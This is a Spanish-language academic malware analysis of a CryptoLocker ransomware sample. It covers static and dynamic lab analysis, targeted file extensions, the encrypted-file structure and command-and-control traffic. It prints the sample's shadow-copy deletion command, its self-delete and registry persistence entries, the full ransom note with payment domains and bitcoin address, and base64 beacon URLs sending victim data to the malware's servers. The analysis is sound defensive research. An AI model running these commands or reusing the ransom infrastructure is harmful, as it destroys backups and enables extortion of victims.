Análisis de un Ransomware de Cifrado

winbox: Microsoft Windows 7, también su base parte de los recursos mencionados de ENISA. Sobre ella crearemos dos instantáneas (o snapshots):

Winbox-clean: imagen que cuenta con las herramientas de análisis estático
Winbox-cuckoo: imagen que cuenta con la configuración adecuada para ser utilizada mediante cuckoo-sandbox.

Análisis en VirusTotal

Lo primero que nos indica el servicio si subimos la muestra, o bien, solicitamos buscar por su MD5 o SHA, es que esta muestra que ya ha sido analizada previamente en el sistema, como podemos ver en la siguiente captura:

Resultado de análisis en virustotal.

También podemos comprobar como 35 de los 55 sistemas de detección, es decir un total aproximado del 63% de los empleados, fueron capaces de determinar que este binario era una amenaza. Solicitando el último análisis que realizó el sistema sobre esta muestra, encontramos:

Resultado de virustotal

Indica que la reputación es la mínima posible (-100, siendo la escala de -100 –menos confiable- a 100 –altamente confiable-) y que el último análisis que se realizó fue hace algo más de una semana con una muestra llamada “evracpy.exe”.

A continuación se nos presenta la información de qué sistemas son capaces de detectarlo y cómo se llama, dentro de ese sistema anti-malware, a dicha amenaza. El siguiente es un extracto de la detección por parte de algunos de los motores de antivirus, de los que dispone VirusTotal:

Muestra parcial de los motores que detectan la amenaza en virustotal.

Análisis estático

Análisis de las cabeceras del binario

Partimos de la información del ejecutable, mediante un análisis de las cabeceras PE y posible uso de empaquetadores (packers).

Resultado de análisis en PEiD

PEiD nos muestra la información del tipo de binario (Win32 GUI), y la información de posibles packers. Observamos que indica que no se han utilizado packer.

Contrastamos este resultado ExeInfoPE el cual, con su análisis avanzado nos muestra, como más probable (mayor puntuación), el que se haya utilizado "Morphine v1.2 (DLL)".

Análisis avanzado del binario en ExeInfoPE

Un empaquetado de este tipo implica ocultar la información del binario con cifrado (descifrándose en ejecución), existen trabajos para tratar de descifrar este tipo de binarios con depuradores (debuggers del inglés), que dejamos como vía para posibles trabajos futuros, como el siguiente:

Polymorphic Crypter - Morphine 2.7 by Holy_Father

Análisis de los recursos del binario

Empleando el extractor de recursos Resource Hacker, encontramos únicamente el icono del binario:

Información obtenida con Resource Hacker.

Extracción de cadenas de texto

A continuación revisamos las cadenas de texto incluidas dentro del binario, para ello empleamos binText.

Tratamos de encontrar nombres de dominios, rutas a ficheros en disco, peticiones http y cadenas de texto que puedan ser sospechosas de la actividad del malware analizado, con resultado negativo.
Entendemos que puede utilizar algún tipo de ofuscación, codificado o cifrado para ocultar dicha información dentro del binario.

Análisis dinámico

Como punto de partida, preparamos, nuestro laboratorio para poder trabajar con la máquina virtual winbox, en un entorno totalmente aislado (sólo podrá comunicarse con nuestra máquina styx, configurada para simular los servicios de Internet).

Subimos la muestra a analizar a la máquina winbox y preparamos tanto Process Explorer, Process Monitor y RegShot, para trabajar.

En este punto creamos una nueva instantánea, de manera que podamos hacer repetible el análisis desde el mismo punto, de manera sencilla.

Ejecutamos la muestra y observamos que se cierra Process Explorer, táctica que utiliza mucho malware, para complicar el análisis o la detección de las amenazas.
Tras unos segundos, se nos muestra la ventana indicándonos de que se han cifrado los datos de nuestro equipo, presentando la siguiente pantalla:

Pantalla de Cryptolocker

Procesos Generados

Mediante Process Monitor, podemos ver los procesos creados desde la ejecución del malware hasta que paramos la detección de eventos (pasados dos minutos). La siguiente captura muestra una parte de dichos procesos:

Captura parcial de Process Monitor.

Observamos la lectura de numerosas entradas del Registro, entre otras:

Búsqueda de sistemas anti-virus/anti-malware instalados, intento de desactivación de estos.
Estado del Cortafuegos de Windows.
Servicio Terminal Services y su configuración.
Configuración de RPC.
Configuración Regional y de idioma (variables locale).

La siguiente captura incluye algunos de estos procesos lanzados:

Algunos procesos generados por el malware, capturados en Process Monitor.

Aplicando diferentes filtros, analizamos el comportamiento del ransomware en ejecución en cuanto a:

Apertura/Creación/Cierre de ficheros en disco.
Escritura en archivos de disco.
Conexiones de red.

Entre los aspectos observados, podemos ver cómo se genera un archivo ejecutable llamado: "megdkmu.exe" (sucesivas ejecuciones veremos que el nombre va variando, aunque se mantiene el formato de siete caracteres y extensión ".exe"), en la ruta: "C:UsersIEUserAppDataRoamingmegdkmu.exe" A partir de ese momento, será este proceso el que se ejecute en memoria y continúe con la actividad del ransomware:

Generando un fichero: key.dat, en C:UsersIEUserAppDataRoamingkey.dat, y seguidamente ejecutando su proceso de cifrado de los ficheros de usuario:
- Listando primero los directorios y subdirectorios y sus ficheros contenidos.
- Cifrando (en caso de disponer de privilegios suficientes) los ficheros encontrados, dependiendo de su extensión y otros criterios establecidos en el software como el tamaño.
- Eliminando, para finalizar, el fichero key.dat.

También localizamos, dentro del árbol de procesos, un proceso hijo creado para eliminar las Shadow Copies de Microsoft, mediante la siguiente orden:

"C:WindowsSystem32ssadmin.exe" delete shadows /all /Quiet

Y también un subproceso de la consola del sistema Windows (cmd.exe), donde se solicita eliminar el fichero 0EF1FE~1.EXE (es decir, el propio ejecutable del malware), mediante el siguiente comando:

"C:Windowssystem32cmd.exe" /c del C:UsersIEUserDesktop�EF1FE~1.EXE >> NUL

Ficheros afectados

Para analizar qué tipo de ficheros son el objetivo de este malware, creamos un total de 185 ficheros trampa, cada uno con una extensión dentro de las que son habituales para este tipo de ransomware.
A continuación ejecutamos la muestra y observamos cuáles de ellos ha cifrado, en total, 180 como podemos observar en la siguiente captura de pantalla:

Captura parcial de ficheros trampa cifrados.

Las siguientes son extensiones que se ha podido confirmar que este malware puede secuestrar (cifrar):

.7Z	.DMP	.KDC	.PDD	.SLM	.3FR	.DNG	.KF	.PDF	.SNX
.ACCDB	.DOC	.LAYOUT	.PEF	.SR2	.AI	.DOCM	.LBF	.PEM	.SRF
.APK	.DOCX	.LITEMOD	.PFX	.SRW	.ARCH00	.DWG	.LRF	.PKPASS	.SUM
.ARW	.DXG	.LTX	.PNG	.SVG	.ASSET	.EPK	.LVL	.PPT	.SYNCDB
.AVI	.EPS	.M2	.PPTM	.T12	.BAR	.ERF	.M3U	.PPTX	.T13
.BAY	.ESM	.M4A	.PSD	.TAX	.BC6	.FF	.MAP	.PSK	.TOR
.BC7	.FLV	.MCMETA	.PST	.TXT	.BIG	.FORGE	.MDB	.PTX	.UPK
.BIK	.FOS	.MDBACKUP	.PY	.VDF	.BKF	.FPK	.MDDATA	.QDF	.VFS0
.BKP	.FSH	.MDF	.QIC	.VPK	.BLOB	.GDB	.MEF	.R3D	.VPP_PC
.BSA	.GHO	.MENU	.RAF	.VTF	.CAS	.HKDB	.MLX	.RAR	.W3X
.CDR	.HKX	.MPQGE	.RAW	.WB2	.CER	.HPLG	.MRWREF	.RB	.WMA
.CFR	.HVPL	.NCF	.RE4	.WMO	.CR2	.IBANK	.NRW	.RGSS3A	.WMV
.CRT	.ICXS	.NTL	.RIM	.WOTREPLAY	.CRW	.INDD	.ODB	.ROFL	.WPD
.CSS	.ITDB	.ODC	.RTF	.WPS	.CSV	.ITL	.ODM	.RW2	.X3F
.D3DBSP	.ITM	.ODP	.RWL	.XF	.DAS	.IWD	.ODS	.SAV	.XLK
.DAZIP	.IWI	.ODT	.SB	.XLS	.DB0	.JPE	.ORF	.SID	.XLSB
.DBFV	.JPEG	.P12	.SIDD	.XLSM	.DCR	.JPG	.P7B	.SIDN	.XLSX
.DER	.JS	.P7C	.SIE	.XXX	.DESC	.KDB	.PAK	.SIS	.ZTMP

Recuperación y análisis del fichero "key.dat"

Utilizando los permisos de seguridad de las carpetas de Windows, impedimos al usuario con el que ejecutaremos CryptoLocker el borrar ficheros o carpetas, dentro de la ruta: %APPDATA%key.dat, para impedir que elimine el fichero key.dat y poder proceder a analizarlo.

Configuración Avanzada de Carpetas Microsoft.

De partida ya observamos que el fichero key.dat es diferente de una infección a otra, debido a, como veremos, a que contiene datos particulares de la infección que irán variando de uno a otro (dirección de bitcoin, por ejemplo).

Para validar este aspecto realizamos dos infecciones sobre la misma máquina recuperando su estado y procediendo a comparar las huellas MD5 de los ficheros key.dat recuperados:

# md5sum key.dat*
cf56546477d61565b2f8644e6ae8b518 key.dat
3bc1436b2f5e75ed7590b0b51f62a451 key.dat.2

Analizando su estructura, vemos la dirección bitcoin en los primeros 34 bytes (la destacaremos en naranja), observando datos, presumiblemente relacionados con las claves de cifrado y otros datos de la víctima, en otras posiciones que destacaremos en verde:

Fichero key.dat

Validamos la dirección bitcoin en Base58 Encode, Decode, and Validate:

Validación de dirección bitcoin incluida en key.dat.

Para el análisis de este tipo de fichero, creamos unas clases básicas en el lenguaje Python, que pueden ser descargadas desde el siguiente repositorio en GitHub.

Muestra parcial del código python.

Creación de ficheros de ayuda a la recuperación

Observamos que el malware, crea un fichero llamado: "HELP_RESTORE_FILES.txt" en cada uno de los directorios donde ha afectado a ficheros del usuario.
El texto incluido es el siguiente:


All your documents, photos, databases and other important files have been encrypted
with strongest encryption RSA-2048 key, generated for this computer.
Private decryption key is stored on a secret Internet server and nobody can
decrypt your files until you pay and obtain the private key.
If you see the main encryptor red window, examine it and follow the instructions.
Otherwise, it seems that you or your antivirus deleted the encryptor program.
Now you have the last chance to decrypt your files.
Open http://34r6hq26q2h4jkzj.42k2bu15.com or http://34r6hq26q2h4jkzj.79fhdm16.com, 
https://34r6hq26q2h4jkzj.tor2web.blutmagie.de/ in your browser.
They are public gates to the secret server.
Copy and paste the following Bitcoin address in the input form on server. Avoid missprints.
17JHJkNPhM4mPvPEaJzdnSFjz545ejkQNs
Follow the instructions on the server.
If you have problems with gates, use direct connection:
1. Download Tor Browser from http://torproject.org
2. In the Tor Browser open the http://34r6hq26q2h4jkzj.onion/ 
 Note that this server is available via Tor Browser only.
 Retry in 1 hour if site is not reachable.
Copy and paste the following Bitcoin address in the input form on server. Avoid missprints.
17JHJkNPhM4mPvPEaJzdnSFjz545ejkQNs
Follow the instructions on the server.

En él se nos indica lo que ha sucedido con nuestros datos y cómo proceder a recuperarlos siguiendo las instrucciones para pagar el rescate establecido.

Nota: Destacamos una vez más que el pago del rescate, no garantiza la recuperación de los datos en todos los casos, además de que alienta a los cibercriminales a seguir utilizando estos métodos.

También creará un fichero en la siguiente ruta: : %APPDATA%log.html, incluyendo el listado de los ficheros afectados y que será presentado dentro del navegador al usuario en caso de que pulse sobre el botón "Show files" de la ventana de CryptoLocker, como vemos en la siguiente captura:

Log de ficheros cifrados, captura parcial.

Captura parcial del log de los ficheros cifrados.

Modificaciones sobre el registro del sistema

Analizamos los cambios que lleva a cabo sobre el registro, entre los que destacamos:

Arranque de CryptoLocker

Activación de CryptoLocker en cada arranque, añadiendo la siguiente clave:

HKLMSOFTWAREMicrosoftWindowsCurrentVersionRunmsconfig: "C:UsersIEUserAppDataRoamingmegdkmu.exe"

megdkmu, es el fichero que creó en el momento de infección, su nombre va variando de una infección a otra y se ubica en: "%APPDATA%".

Fondo de Escritorio

Establecimiento del fondo de escritorio con una imagen que contiene la misma información que el fichero HELP_RESTORE_FILES.txt, mediante las siguientes claves de registro:

HKUS-1-5-21-3463664321-2923530833-3546627382-1000Control PanelDesktopWallpaper: "C:UsersIEUserAppDataLocalTempBGInfo.bmp"
HKUS-1-5-21-3463664321-2923530833-3546627382-1000Control PanelDesktopWallpaper: "C:UsersIEUserDesktopHELP_RESTORE_FILES.bmp"

Incluimos una captura de dicho fondo de escritorio:

Fondo de pantalla de Cryptolocker

Búsqueda de rootkits

Utilizamos la herramienta GMER para la búsqueda de posibles rootkits instalados en la máquina víctima, con resultado negativo.

El uso de rootkits, es habitual en mucho malware, en especial en aquel que desea mantener el control del equipo (como los que se añaden a botnets).

Análisis de los Ficheros Cifrados (.ECC)

Trabajaremos con los ficheros generados por el ransomware, con extensión .ECC. Desvelando los siguientes aspectos:

Comprobación del uso de idénticas o diferentes claves de cifrado

Para comprobar si el malware utiliza la misma clave de cifrado para cada fichero o diferentes, creamos un fichero de texto y dos duplicados idénticos del mismo. A estos tres ficheros los llamamos: honey1.txt, honey2.txt, honey3.txt:

MD5 Ficheros trampa

Observamos que se han cifrado con diferente clave (y/o diferente vector de inicialización), ya que el MD5 de cada uno de ellos, una vez cifrados es diferente, a pesar de que su tamaño sea el mismo:

root@styx:/lab/analyses/cryptolockerHoney14May2015# md5sum Honey*.ecc
c2fce3c0761eb1c60e8a0cfb49829189 Honey1.txt.ecc
7512fbad7ee117e9a3c165296d12d2b8 Honey2.txt.ecc
root@styx:/lab/analyses/cryptolockerHoney14May2015# ls -l Honey*.ecc
-rw-r--r-- 1 root root 52 May 14 06:47 Honey1.txt.ecc
-rw-r--r-- 1 root root 52 May 14 06:47 Honey2.txt.ecc -rw-rw-r-- 1

Estructura del fichero .ECC

Encontramos que el tamaño del fichero trampa antes del cifrado es de 18 bytes.
Este valor, lo localizamos, dentro del fichero cifrado (.ECC), en hexadecimal en la posición hexadecimal 0x10 (se trata de un valor hexadecimal) (es decir, en el byte 16) en Little-Endian, ocupando 4 bytes.

Como podemos verificar en los siguientes ejemplos. Los ficheros trampa generados, antes de ser cifrados, ocupan 18 bytes:

$ ls -l Honey*.txt
-rw-r--r-- 1 arnaiz root 18 May 14 15:54 Honey1.txt
-rw-r--r-- 1 arnaiz root 18 May 14 15:54 Honey2.txt

En el fichero con extension .ECC generado por el ransomware observamos este valor en hexadecimal en, como comentábamos, byte 16 (posición 0x10 hexadecimal), para ambos ficheros cifrados (Honey1.txt.ecc y Honey2.txt.ecc):

Honey1.txt.ecc

Honey2.txt.ecc

En esa posición, los 4 bytes en ambos ficheros, representan el valor hexadecimal: 0x12000000, que transformado desde Little-endian, sería: 0x00000012 o 18 decimal, tamaño del fichero -sin cifrar- original.

Pensando en AES que es uno de los cifrados asimétricos utilizados en otros ransomware, en los modos CBC (Cipher Block Chaining) requiere un vector de iniciación de 16 bytes (justo los mismos bytes que hay delante del tamaño del fichero original), además un fichero de un total de 18 bytes cifrado con AES-CBC, genera una salida cifrada de 32 bytes.

Como podemos ver en la siguiente captura de muestra (incluimos el mismo texto y tamaño en bytes que en el fichero original y seleccionamos cifrado AES con CBC), utilizando cualquier clave, obtenemos un resultante cifrado de, como comentábamos, 32 bytes:

Prueba de cifrado con AES-CBC. Utilizando esta herramienta on-line

Creemos que la clave de cifrado estaría almacenada de alguna manera en el fichero key.dat, y es el vector de inicialización (codificado o no) lo que se almacena en el propio fichero .ECC.

El uso de AES-CBC con diferentes vectores almacenados junto con el propio fichero cifrado, encaja con el hecho de que dos ficheros idénticos resulten en datos cifrados diferentes.

Incluimos una representación gráfica de la estructura de fichero que hemos estimado:

Estructura estimada del fichero cifrado .ECC.

Para el análisis de este tipo de fichero, creamos unas clases básicas en el lenguaje Python, que pueden ser descargadas desde el siguiente repositorio en GitHub.

Análisis de Red

Utilizaremos nuestro equipo virtual styx como único equipo visible en la red y mediante inetsim simularemos servicios de red como HTTP, DNS y otros. Para controlar el tráfico del equipo y posteriormente poder analizarlo, dichos servicios simulados resuelven todas las peticiones DNS a la IP del propio styx, de manera que, además de aislar totalmente el equipo, podemos hacer lo que se conoce como Hombre en el Medio de las peticiones de red.

Análisis de solicitudes DNS

Analizando el tráfico de red generado y registrado gracias a inetsim, encontramos las siguientes peticiones DNS desde la máquina infectada con la muestra:

root@styx:/lab/analyses/cryptolocker2# grep 'requested name' report.2896.txt
2015-04-22 13:20:34 DNS connection, type: A, class: IN, requested name: ipinfo.io
2015-04-22 13:20:34 DNS connection, type: A, class: IN, requested name: 7tno4hib47vlep5o.63ghdye17.com
2015-04-22 13:20:35 DNS connection, type: A, class: IN, requested name: 7tno4hib47vlep5o.79fhdm16.com
2015-04-22 13:20:35 DNS connection, type: A, class: IN, requested name: 7tno4hib47vlep5o.tor2web.blutmagie.de
2015-04-22 13:20:36 DNS connection, type: A, class: IN, requested name: 7tno4hib47vlep5o.tor2web.fi
2015-04-22 13:43:26 DNS connection, type: A, class: IN, requested name: go.microsoft.com
2015-04-22 13:44:54 DNS connection, type: A, class: IN, requested name: spynet2.microsoft.com
2015-04-22 13:51:33 DNS connection, type: A, class: IN, requested name: time.windows.com

Podemos ignorar las tres últimas peticiones a servicios de Microsoft ya que se trata del comportamiento normal de este Sistema Operativo. Observamos la solicitud de los siguientes nombres de dominio (destacados en negrita), producidos en unos dos segundos de diferencia:

ipinfo.io
7tno4hib47vlep5o.63ghdye17.com
7tno4hib47vlep5o.79fhdm16.com
7tno4hib47vlep5o.tor2web.blutmagie.de
7tno4hib47vlep5o.tor2web.fi

Repitiendo estas mismas pruebas antes de que pasasen 24 horas, y también una vez pasadas 72 horas, obtuvimos estos mismos resultados.

Ipinfo.io, para obtener información sobre la IP, geo-localización, etc.
El resto de dominios son dominios tor2web , que son utilizados como pasarela a servicios ocultos dentro de la red TOR , para usuarios que no estén utilizando dicha red.
Comparando con informes existentes de otras muestras de Cryptolocker, observamos que algunos dominios se repiten y otros van variando como parte de la evolución del malware. Por ejemplo Symantec, encontraba dos de esos dominios y un tercero diferente y lo señalaba en su informe de 2 de Marzo de 2015.

Solicitudes HTTP

Extrayendo, también del histórico de inetsum, las peticiones HTTP que no correspondieran a solicitudes normales de un equipo Microsoft Windows (intentos de actualizaciones, etc.), encontramos las siguientes:

root@styx:/lab/analyses/cryptolocker# grep HTTP report.1036.txt | grep -v "microsoft.com|windowsupdate.com|msftncsi.com"
2015-04-21 22:54:40 HTTP connection, method: GET, URL: http://ipinfo.io/ip, file name: /var/lib/inetsim/http/fakefiles/sample.html
2015-04-21 22:54:40 HTTP connection, method: GET, URL: http://7tno4hib47vlep5o.63ghdye17.com/state1.php?U3ViamVjdD1QaW5nJmtleT0yMkI2QTYwODdCOTFFMzM2MUY0MkEyRTk1NzA1NUJFNEM3NEE3Nzg5NEZCNjU1N0E5OUIwRjQwNUYzOThENzdEJmFkZHI9MUVFUzZla25IcHdQWksyWUoyVDNEWkxFS3c4dHMxWjROQSZmaWxlcz0wJnNpemU9MCZ2ZXJzaW9uPTAuMy40YSZkYXRlPTE0Mjk2NDk3MDgmT1M9NzYwMSZJRD02MiZzdWJpZD0wJmdhdGU9RzAmaXNfYWRtaW49MSZpc182ND0wJmlwPTxodG1sPgogIDxoZWFkPgogICAgPHRpdGxlPk15IHBhZ2U8L3RpdGxlPgogIDwvaGVhZD4KICA8Ym9keT4KICAgIDxwPlRoaXMgaXMgbXkgcGFnZS48L3A+CiAgPC9ib2R5Pgo8L2h0bWw+JmV4ZV90eXBlPTE=, file name: /var/lib/inetsim/http/fakefiles/sample.html
2015-04-21 22:54:40 HTTP connection, method: GET, URL: http://7tno4hib47vlep5o.79fhdm16.com/state1.php?FTdWJqZWN0PVBpbmcma2V5PTIyQjZBNjA4N0I5MUUzMzYxRjQyQTJFOTU3MDU1QkU0Qzc0QTc3ODk0RkI2NTU3QTk5QjBGNDA1RjM5OEQ3N0QmYWRkcj0xRUVTNmVrbkhwd1BaSzJZSjJUM0RaTEVLdzh0czFaNE5BJmZpbGVzPTAmc2l6ZT0wJnZlcnNpb249MC4zLjRhJmRhdGU9MTQyOTY0OTcwOCZPUz03NjAxJklEPTYyJnN1YmlkPTAmZ2F0ZT1HMSZpc19hZG1pbj0xJmlzXzY0PTAmaXA9PGh0bWw+CiAgPGhlYWQ+CiAgICA8dGl0bGU+TXkgcGFnZTwvdGl0bGU+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPHA+VGhpcyBpcyBteSBwYWdlLjwvcD4KICA8L2JvZHk+CjwvaHRtbD4mZXhlX3R5cGU9MQ==, file name: /var/lib/inetsim/http/fakefiles/sample.html
2015-04-21 22:54:45 HTTP connection, method: GET, URL: http://7tno4hib47vlep5o.63ghdye17.com/state1.php?U3ViamVjdD1DcnlwdGVkJmtleT0yMkI2QTYwODdCOTFFMzM2MUY0MkEyRTk1NzA1NUJFNEM3NEE3Nzg5NEZCNjU1N0E5OUIwRjQwNUYzOThENzdEJmFkZHI9MUVFUzZla25IcHdQWksyWUoyVDNEWkxFS3c4dHMxWjROQSZmaWxlcz0xNzY5JnNpemU9OTEmdmVyc2lvbj0wLjMuNGEmZGF0ZT0xNDI5NjQ5NzE0Jk9TPTc2MDEmSUQ9NjImc3ViaWQ9MCZnYXRlPUcwJmlzX2FkbWluPTEmaXNfNjQ9MCZpcD08aHRtbD4KICA8aGVhZD4KICAgIDx0aXRsZT5NeSBwYWdlPC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8cD5UaGlzIGlzIG15IHBhZ2UuPC9wPgogIDwvYm9keT4KPC9odG1sPiZleGVfdHlwZT0x, file name: /var/lib/inetsim/http/fakefiles/sample.html
2015-04-21 22:54:45 HTTP connection, method: GET, URL: http://7tno4hib47vlep5o.79fhdm16.com/state1.php?U3ViamVjdD1DcnlwdGVkJmtleT0yMkI2QTYwODdCOTFFMzM2MUY0MkEyRTk1NzA1NUJFNEM3NEE3Nzg5NEZCNjU1N0E5OUIwRjQwNUYzOThENzdEJmFkZHI9MUVFUzZla25IcHdQWksyWUoyVDNEWkxFS3c4dHMxWjROQSZmaWxlcz0xNzY5JnNpemU9OTEmdmVyc2lvbj0wLjMuNGEmZGF0ZT0xNDI5NjQ5NzE0Jk9TPTc2MDEmSUQ9NjImc3ViaWQ9MCZnYXRlPUcxJmlzX2FkbWluPTEmaXNfNjQ9MCZpcD08aHRtbD4KICA8aGVhZD4KICAgIDx0aXRsZT5NeSBwYWdlPC90aXRsZT4KICA8L2hlYWQ+CiAgPGJvZHk+CiAgICA8cD5UaGlzIGlzIG15IHBhZ2UuPC9wPgogIDwvYm9keT4KPC9odG1sPiZleGVfdHlwZT0x, file name: /var/lib/inetsim/http/fakefiles/sample.html

Con la primera solicitud obtiene la IP de la máquina, consultando a: ipinfo
Observamos que se trata de peticiones tipo GET , dentro de las mismas podemos comprobar que están solicitando una página ".php" , lo cual es un aspecto a tener en cuenta en operaciones contra el Command & Control (C&C).

Aparentemente, las peticiones HTTP (destacadas en marrón) están utilizando una codificación Base 64, que una vez decodificado, muestra lo siguiente (lo presentamos cronológicamente, según van sucediendo las conexiones):

Subject=Ping&key=22B6A6087B91E3361F42A2E957055BE4C74A77894FB6557A99B0F405F398D77D&addr=1EES6eknHpwPZK2YJ2T3DZLEKw8ts1Z4NA&files=0&size=0&version=0.3.4a&date=1429649708&OS=7601&ID=62&subid=0&gate=G0&is_admin=1&is_64=0&ip=&lt;html&gt;
 &lt;head&gt;
 &lt;title&gt;My page&lt;/title&gt;
 &lt;/head&gt;
 &lt;body&gt;
 This is my page.
 &lt;/body&gt;
&lt;/html&gt;&amp;amp;exe_type=1

En esta primera solicitud a su centro de control, claramente está registrando el equipo como nueva víctima, está indicando que es administrador, versión del sistema, fecha y hora, etc. La dirección IP, obtenida mediante a la llamada a ipinfo.io, incluye información HTML devuelta por nuestro simulador HTTP (destacada en marrón).
Se incluyen otros elementos, como:
(1)

Subject: ping , entendemos que se trata de la primera comunicación para, como comentábamos, registrar el equipo.
Key: que varía de una ejecución a otra de la muestra, podría tratarse de un identificador del equipo y también podría estar relacionado con la clave del mismo. (22B6A6087B91E3361F42A2E957055BE4C74A77894FB6557A99B0F405F398D77D)
Addr: este valor es la dirección bitcoin asignada al usuario para el pago del rescate, es única para cada víctima y viene en formato base-58, utilizado en las direcciones bitcoin. (1EES6eknHpwPZK2YJ2T3DZLEKw8ts1Z4NA)
Files: que indica como confirmamos más adelante, el número de ficheros cifrados en el momento en que se produce la comunicación (0 ya que se trata de la primera comunicación.
Size: desconocemos qué indica este atributo. (0)
Is_64 => indica si la arquitectura es de 64 bits o no. (0 que indica que no es una arquitectura de 64 bits).

Validamos la dirección bitcoin, mediante la utilidad web Base58 Encode, Decode, and Validate:

Validación de dirección de bitcoin

* Tratamos de utilizar los datos incluidos en dicho fichero junto con la información enviada en las peticiones HTTP mostradas anteriormente que incluía un atributo llamado key, como claves de descifrado y verificación con resultado negativo.

(2)

No pudimos decodificar este valor enviado, creemos que puede estar codificado de alguna otra manera, o bien utiliza algún tipo de cifrado u ofuscación.

(3)

Subject: Crypted (cifrado, del inglés), entendemos que indica que ya se han cifrado ficheros en el equipo víctima.
Files: indica el número de ficheros afectados (1769, como mostraremos a continuación).
Size: (9) El valor ha cambiado desde la primera comunicación, pero aún no tenemos indicios suficientes para poder determinar en qué está basado.
Versión: nuestra hipótesis es que se trata del número de versión del malware (0.3.4a)
Fecha: cuyo valor (1429649714) es un sello de tiempo, o timestamp , que marca la fecha y hora que tiene el equipo en el momento de la comunicación. (06/01/2015, 5:41pm (UTC).
OS: que entendemos que se trata de un identificador del Sistema Operativo infectado (7601).
ID: No tenemos indicios suficientes para saber de qué se trata, aunque creemos que está relacionado con el equipo de la víctima (62)
Subid: entendemos que se trata de un valor relacionado con el anterior (una subcategoría), (0).
Gate: no sabemos a qué hace referencia este parámetro (G0).
is_admin: se trata de un valor, en este caso positivo (1), indicando si el usuario con el que se ha ejecutado el malware y por tanto, los privilegios que tiene este aplicativo, es administrador o no.

Confirmamos que el número de ficheros se trata del número de ficheros afectados, filtrando nuestro informe de ficheros creados (gracias a regshot) en busca de ficheros con extensión .ECC, es decir ficheros cifrados por CryptoLocker.

root@pasteur:~# grep .ecc createdfiles.txt | wc -l
1796

(4)

Subject=Crypted&key=22B6A6087B91E3361F42A2E957055BE4C74A77894FB6557A99B0F405F398D77D&addr=1EES6eknHpwPZK2YJ2T3DZLEKw8ts1Z4NA&files=1769&size=91&version=0.3.4a&date=1429649714&OS=7601&ID=62&subid=0&gate=G1&is_admin=1&is_64=0&ip=(...)

*Mostramos los datos que consideramos relevantes:

Size: (91).
Gate (G1)

* No pudimos determinar la motivación de ese cambio.

Siguientes pasos

Nos quedaron muchas cosas por probar y por hacer, si bien, creemos que puede ser interesante invertir esfuerzo en:

Análisis en debugger para tratar de descifrar deshaciendo el trabajo del packer, como en: Polymorphic Crypter - Morphine 2.7 by Holy_Father.
Un análisis dinámico de mayor profundidad tratando de determinar mediante un depurador, cómo lleva a cabo el proceso de cifrado, librerías y funciones de cifrado utilizadas, generación de la clave y codificación u ofuscación de la misma si se produjera, etc.

Referencias y Bibliografía

Training Resources de ENISA (European Union Network and Information Security Agency).
Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code Paperback – November 2, 2010 by Michael Ligh (Author), Steven Adair (Author), Blake Hartstein (Author), Matthew Richard (Author).
The holiday season and ransomware - November 27, 2013 / Vadim Kotov
Reverse Engineering Malware For Newbies ToorCon 16Published on Oct 29, 2014

Sobre los Autores

Este trabajo ha sido desarrollado como proyecto de fin de Master, en el MÁSTER UNIVERSITARIO EN SEGURIDAD DE TECNOLOGÍAS DE LA INFORMACIÓN Y DE LAS COMUNICACIONES de la Universidad Europea de Madrid.
En él han trabajado:
Marcos Gómez Hidalgo. Especialista en seguridad informática, tutor del proyecto.
Manuel López Hidalgo. Ingeniero especialista en seguridad informática. beat.ransomware _ARROBA_ gmail.com
Jesús Arnáiz Calvo. Ingeniero especialista en seguridad informática. jesusarnaizcts _ARROBA_ gmail.com
Finalmente, agradecemos a Alejandro Cuenca Merchán, diseñador, por sus ilustraciones. cuencamerchan _ARROBA_ outlook.com

Ilustración de cabecera, cortesía de Alejandro Cuenca

Boceto de las viñetas de cabecera, gracias a la cortesía de Alejandro Cuenca.